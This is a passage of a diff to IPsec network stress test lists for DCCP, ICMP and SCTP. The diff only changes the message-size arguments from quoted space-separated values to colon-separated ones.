+dccp4_ipsec_vti08 dccp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti09 dccp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti10 dccp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti11 dccp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti12 dccp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti13 dccp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:500:1000
+dccp4_ipsec_vti14 dccp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:500:1000
+dccp4_ipsec_vti15 dccp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s 100:500:1000
+dccp4_ipsec_vti16 dccp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s 100:500:1000
+dccp4_ipsec_vti17 dccp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:500:1000
 
-dccp6_ipsec_vti01 dccp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti02 dccp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 500 1000"
-# dccp6_ipsec_vti03 dccp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti04 dccp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti05 dccp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti06 dccp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti07 dccp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti08 dccp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti09 dccp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti10 dccp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti11 dccp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti12 dccp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti13 dccp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti14 dccp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti15 dccp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti16 dccp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
-dccp6_ipsec_vti17 dccp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
+dccp6_ipsec_vti01 dccp_ipsec_vti.sh -6 -p ah -m tunnel -s 100:500:1000
+dccp6_ipsec_vti02 dccp_ipsec_vti.sh -6 -p esp -m tunnel -s 100:500:1000
+# dccp6_ipsec_vti03 dccp_ipsec_vti.sh -6 -p comp -m tunnel -s 100:500:1000
+dccp6_ipsec_vti04 dccp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti05 dccp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti06 dccp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti07 dccp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti08 dccp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti09 dccp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti10 dccp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti11 dccp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti12 dccp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec_vti13 dccp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:500:1000
+dccp6_ipsec_vti14 dccp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:500:1000
+dccp6_ipsec_vti15 dccp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:500:1000
+dccp6_ipsec_vti16 dccp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:500:1000
+dccp6_ipsec_vti17 dccp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:500:1000
diff --git a/runtest/net_stress.ipsec_icmp b/runtest/net_stress.ipsec_icmp
index 0267cf6..58c0924 100644
--- a/runtest/net_stress.ipsec_icmp
+++ b/runtest/net_stress.ipsec_icmp
@@ -27,93 +27,93 @@
 # IPsec compression: same message size but different content will result in different data size
 # after compression. So we just use a large enough message size(65000) for testing
 
-icmp4-uni-basic01 icmp-uni-basic.sh -s "10 100 1000 10000 65507"
-icmp4-uni-basic02 icmp-uni-basic.sh -p ah -m transport -s "10 100 1000 10000 65483"
-icmp4-uni-basic03 icmp-uni-basic.sh -p ah -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-basic04 icmp-uni-basic.sh -p esp -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic05 icmp-uni-basic.sh -p esp -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic06 icmp-uni-basic.sh -p comp -m transport -s "10 100 1000 10000 65000"
-icmp4-uni-basic07 icmp-uni-basic.sh -p comp -m tunnel -s "10 100 1000 10000 65000"
-icmp4-uni-basic08 icmp-uni-basic.sh -A rfc4106_128 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic09 icmp-uni-basic.sh -A rfc4106_192 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic10 icmp-uni-basic.sh -A rfc4106_256 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic11 icmp-uni-basic.sh -A rfc4309_128 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic12 icmp-uni-basic.sh -A rfc4309_192 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic13 icmp-uni-basic.sh -A rfc4309_256 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic14 icmp-uni-basic.sh -A rfc4543_128 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic15 icmp-uni-basic.sh -A rfc4543_192 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic16 icmp-uni-basic.sh -A rfc4543_256 -p esp_aead -m transport -s "10 100 1000 10000 65470"
-icmp4-uni-basic17 icmp-uni-basic.sh -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic18 icmp-uni-basic.sh -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic19 icmp-uni-basic.sh -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic20 icmp-uni-basic.sh -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic21 icmp-uni-basic.sh -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic22 icmp-uni-basic.sh -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic23 icmp-uni-basic.sh -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic24 icmp-uni-basic.sh -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic25 icmp-uni-basic.sh -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
-icmp4-uni-basic26 icmp-uni-basic.sh -p esp -m beet -s "10 100 1000 10000 65470"
+icmp4-uni-basic01 icmp-uni-basic.sh -s 10:100:1000:10000:65507
+icmp4-uni-basic02 icmp-uni-basic.sh -p ah -m transport -s 10:100:1000:10000:65483
+icmp4-uni-basic03 icmp-uni-basic.sh -p ah -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-basic04 icmp-uni-basic.sh -p esp -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic05 icmp-uni-basic.sh -p esp -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic06 icmp-uni-basic.sh -p comp -m transport -s 10:100:1000:10000:65000
+icmp4-uni-basic07 icmp-uni-basic.sh -p comp -m tunnel -s 10:100:1000:10000:65000
+icmp4-uni-basic08 icmp-uni-basic.sh -A rfc4106_128 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic09 icmp-uni-basic.sh -A rfc4106_192 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic10 icmp-uni-basic.sh -A rfc4106_256 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic11 icmp-uni-basic.sh -A rfc4309_128 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic12 icmp-uni-basic.sh -A rfc4309_192 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic13 icmp-uni-basic.sh -A rfc4309_256 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic14 icmp-uni-basic.sh -A rfc4543_128 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic15 icmp-uni-basic.sh -A rfc4543_192 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic16 icmp-uni-basic.sh -A rfc4543_256 -p esp_aead -m transport -s 10:100:1000:10000:65470
+icmp4-uni-basic17 icmp-uni-basic.sh -A rfc4106_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic18 icmp-uni-basic.sh -A rfc4106_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic19 icmp-uni-basic.sh -A rfc4106_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic20 icmp-uni-basic.sh -A rfc4309_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic21 icmp-uni-basic.sh -A rfc4309_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic22 icmp-uni-basic.sh -A rfc4309_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic23 icmp-uni-basic.sh -A rfc4543_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic24 icmp-uni-basic.sh -A rfc4543_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic25 icmp-uni-basic.sh -A rfc4543_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65450
+icmp4-uni-basic26 icmp-uni-basic.sh -p esp -m beet -s 10:100:1000:10000:65470
 
-icmp6-uni-basic01 icmp-uni-basic.sh -6 -s "10 100 1000 10000 65527"
-icmp6-uni-basic02 icmp-uni-basic.sh -6 -p ah -m transport -s "10 100 1000 10000 65503"
-icmp6-uni-basic03 icmp-uni-basic.sh -6 -p ah -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic04 icmp-uni-basic.sh -6 -p esp -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic05 icmp-uni-basic.sh -6 -p esp -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic06 icmp-uni-basic.sh -6 -p comp -m transport -s "10 100 1000 10000 65000"
-icmp6-uni-basic07 icmp-uni-basic.sh -6 -p comp -m tunnel -s "10 100 1000 10000 65000"
-icmp6-uni-basic08 icmp-uni-basic.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic09 icmp-uni-basic.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic10 icmp-uni-basic.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic11 icmp-uni-basic.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic12 icmp-uni-basic.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic13 icmp-uni-basic.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic14 icmp-uni-basic.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic15 icmp-uni-basic.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic16 icmp-uni-basic.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "10 100 1000 10000 65490"
-icmp6-uni-basic17 icmp-uni-basic.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic18 icmp-uni-basic.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic19 icmp-uni-basic.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic20 icmp-uni-basic.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic21 icmp-uni-basic.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic22 icmp-uni-basic.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic23 icmp-uni-basic.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic24 icmp-uni-basic.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic25 icmp-uni-basic.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-basic26 icmp-uni-basic.sh -6 -p esp -m beet -s "10 100 1000 10000 65490"
+icmp6-uni-basic01 icmp-uni-basic.sh -6 -s 10:100:1000:10000:65527
+icmp6-uni-basic02 icmp-uni-basic.sh -6 -p ah -m transport -s 10:100:1000:10000:65503
+icmp6-uni-basic03 icmp-uni-basic.sh -6 -p ah -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic04 icmp-uni-basic.sh -6 -p esp -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic05 icmp-uni-basic.sh -6 -p esp -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic06 icmp-uni-basic.sh -6 -p comp -m transport -s 10:100:1000:10000:65000
+icmp6-uni-basic07 icmp-uni-basic.sh -6 -p comp -m tunnel -s 10:100:1000:10000:65000
+icmp6-uni-basic08 icmp-uni-basic.sh -6 -A rfc4106_128 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic09 icmp-uni-basic.sh -6 -A rfc4106_192 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic10 icmp-uni-basic.sh -6 -A rfc4106_256 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic11 icmp-uni-basic.sh -6 -A rfc4309_128 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic12 icmp-uni-basic.sh -6 -A rfc4309_192 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic13 icmp-uni-basic.sh -6 -A rfc4309_256 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic14 icmp-uni-basic.sh -6 -A rfc4543_128 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic15 icmp-uni-basic.sh -6 -A rfc4543_192 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic16 icmp-uni-basic.sh -6 -A rfc4543_256 -p esp_aead -m transport -s 10:100:1000:10000:65490
+icmp6-uni-basic17 icmp-uni-basic.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic18 icmp-uni-basic.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic19 icmp-uni-basic.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic20 icmp-uni-basic.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic21 icmp-uni-basic.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic22 icmp-uni-basic.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic23 icmp-uni-basic.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic24 icmp-uni-basic.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic25 icmp-uni-basic.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-basic26 icmp-uni-basic.sh -6 -p esp -m beet -s 10:100:1000:10000:65490
 
-icmp4-uni-vti01 icmp-uni-vti.sh -p ah -a sha256 -m tunnel -S fffffffe -k 1 -s "10 100 1000 10000 65463"
-icmp4-uni-vti02 icmp-uni-vti.sh -p esp -a sha512 -e des -m tunnel -S fffffffe -k 2 -s "10 100 1000 10000 65450"
-icmp4-uni-vti03 icmp-uni-vti.sh -p esp -a rmd160 -e cast5 -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65463"
-icmp4-uni-vti04 icmp-uni-vti.sh -p esp -e blowfish -m tunnel -S fffffffe -k 3 -s "10 100 1000 10000 65463"
-icmp4-uni-vti05 icmp-uni-vti.sh -p esp -a sha512 -e twofish -m tunnel -S fffffffe -k 0x7fffffff -s "10 100 1000 10000 65463"
-icmp4-uni-vti06 icmp-uni-vti.sh -p esp -a sha384 -e camellia -m tunnel -S fffffffe -k 0x80000000 -s "10 100 1000 10000 65463"
-icmp4-uni-vti07 icmp-uni-vti.sh -p esp -a sha512 -e serpent -m tunnel -S fffffffe -k 0xffff -s "10 100 1000 10000 65463"
-icmp4-uni-vti08 icmp-uni-vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti09 icmp-uni-vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti10 icmp-uni-vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti11 icmp-uni-vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti12 icmp-uni-vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti13 icmp-uni-vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti14 icmp-uni-vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti15 icmp-uni-vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
-icmp4-uni-vti16 icmp-uni-vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti01 icmp-uni-vti.sh -p ah -a sha256 -m tunnel -S fffffffe -k 1 -s 10:100:1000:10000:65463
+icmp4-uni-vti02 icmp-uni-vti.sh -p esp -a sha512 -e des -m tunnel -S fffffffe -k 2 -s 10:100:1000:10000:65450
+icmp4-uni-vti03 icmp-uni-vti.sh -p esp -a rmd160 -e cast5 -m tunnel -S fffffffe -k 0xffffffff -s 10:100:1000:10000:65463
+icmp4-uni-vti04 icmp-uni-vti.sh -p esp -e blowfish -m tunnel -S fffffffe -k 3 -s 10:100:1000:10000:65463
+icmp4-uni-vti05 icmp-uni-vti.sh -p esp -a sha512 -e twofish -m tunnel -S fffffffe -k 0x7fffffff -s 10:100:1000:10000:65463
+icmp4-uni-vti06 icmp-uni-vti.sh -p esp -a sha384 -e camellia -m tunnel -S fffffffe -k 0x80000000 -s 10:100:1000:10000:65463
+icmp4-uni-vti07 icmp-uni-vti.sh -p esp -a sha512 -e serpent -m tunnel -S fffffffe -k 0xffff -s 10:100:1000:10000:65463
+icmp4-uni-vti08 icmp-uni-vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti09 icmp-uni-vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti10 icmp-uni-vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti11 icmp-uni-vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti12 icmp-uni-vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti13 icmp-uni-vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti14 icmp-uni-vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti15 icmp-uni-vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
+icmp4-uni-vti16 icmp-uni-vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65463
 icmp4-uni-vti17 icmp-uni-vti.sh -p comp -m tunnel -s 1000
 
-icmp6-uni-vti01 icmp-uni-vti.sh -6 -p ah -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65527"
-icmp6-uni-vti02 icmp-uni-vti.sh -6 -p esp -a sha256 -e des3_ede -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65527"
-icmp6-uni-vti03 icmp-uni-vti.sh -6 -p esp -a sha512 -e cast5 -m tunnel -S fffffffe -k 1 -s "10 100 1000 10000 65527"
-icmp6-uni-vti04 icmp-uni-vti.sh -6 -p esp -a rmd160 -e blowfish -m tunnel -S fffffffe -k 0x80000000 -s "10 100 1000 10000 65527"
-icmp6-uni-vti05 icmp-uni-vti.sh -6 -p esp -e twofish -m tunnel -S fffffffe -k 0xffff -s "10 100 1000 10000 65527"
-icmp6-uni-vti06 icmp-uni-vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -S fffffffe -k 0x7fffffff -s "10 100 1000 10000 65527"
-icmp6-uni-vti07 icmp-uni-vti.sh -6 -p esp -a sha384 -e serpent -m tunnel -S ffffffff -k 0x11111111 -s "10 100 1000 10000 65527"
-icmp6-uni-vti08 icmp-uni-vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti09 icmp-uni-vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti10 icmp-uni-vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti11 icmp-uni-vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti12 icmp-uni-vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti13 icmp-uni-vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti14 icmp-uni-vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti15 icmp-uni-vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
-icmp6-uni-vti16 icmp-uni-vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti01 icmp-uni-vti.sh -6 -p ah -m tunnel -S fffffffe -k 0xffffffff -s 10:100:1000:10000:65527
+icmp6-uni-vti02 icmp-uni-vti.sh -6 -p esp -a sha256 -e des3_ede -m tunnel -S fffffffe -k 0xffffffff -s 10:100:1000:10000:65527
+icmp6-uni-vti03 icmp-uni-vti.sh -6 -p esp -a sha512 -e cast5 -m tunnel -S fffffffe -k 1 -s 10:100:1000:10000:65527
+icmp6-uni-vti04 icmp-uni-vti.sh -6 -p esp -a rmd160 -e blowfish -m tunnel -S fffffffe -k 0x80000000 -s 10:100:1000:10000:65527
+icmp6-uni-vti05 icmp-uni-vti.sh -6 -p esp -e twofish -m tunnel -S fffffffe -k 0xffff -s 10:100:1000:10000:65527
+icmp6-uni-vti06 icmp-uni-vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -S fffffffe -k 0x7fffffff -s 10:100:1000:10000:65527
+icmp6-uni-vti07 icmp-uni-vti.sh -6 -p esp -a sha384 -e serpent -m tunnel -S ffffffff -k 0x11111111 -s 10:100:1000:10000:65527
+icmp6-uni-vti08 icmp-uni-vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti09 icmp-uni-vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti10 icmp-uni-vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti11 icmp-uni-vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti12 icmp-uni-vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti13 icmp-uni-vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti14 icmp-uni-vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti15 icmp-uni-vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
+icmp6-uni-vti16 icmp-uni-vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 10:100:1000:10000:65527
 icmp6-uni-vti17 icmp-uni-vti.sh -6 -p comp -m tunnel -s 1000
 
diff --git a/runtest/net_stress.ipsec_sctp b/runtest/net_stress.ipsec_sctp
index e71f951..a2453fe 100644
--- a/runtest/net_stress.ipsec_sctp
+++ b/runtest/net_stress.ipsec_sctp
@@ -1,109 +1,109 @@
-sctp4_ipsec01 sctp_ipsec.sh -s "100 1000 65535"
-sctp4_ipsec02 sctp_ipsec.sh -p ah -m transport -s "100 1000 65535"
-sctp4_ipsec03 sctp_ipsec.sh -p ah -m tunnel -s "100 1000 65535"
-sctp4_ipsec04 sctp_ipsec.sh -p esp -m transport -s "100 1000 65535"
-sctp4_ipsec05 sctp_ipsec.sh -p esp -m tunnel -s "100 1000 65535"
-sctp4_ipsec06 sctp_ipsec.sh -p comp -m transport -s "100 1000 65535"
-sctp4_ipsec07 sctp_ipsec.sh -p comp -m tunnel -s "100 1000 65535"
-sctp4_ipsec08 sctp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec09 sctp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec10 sctp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec11 sctp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec12 sctp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec13 sctp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec14 sctp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec15 sctp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec16 sctp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec17 sctp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec18 sctp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec19 sctp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
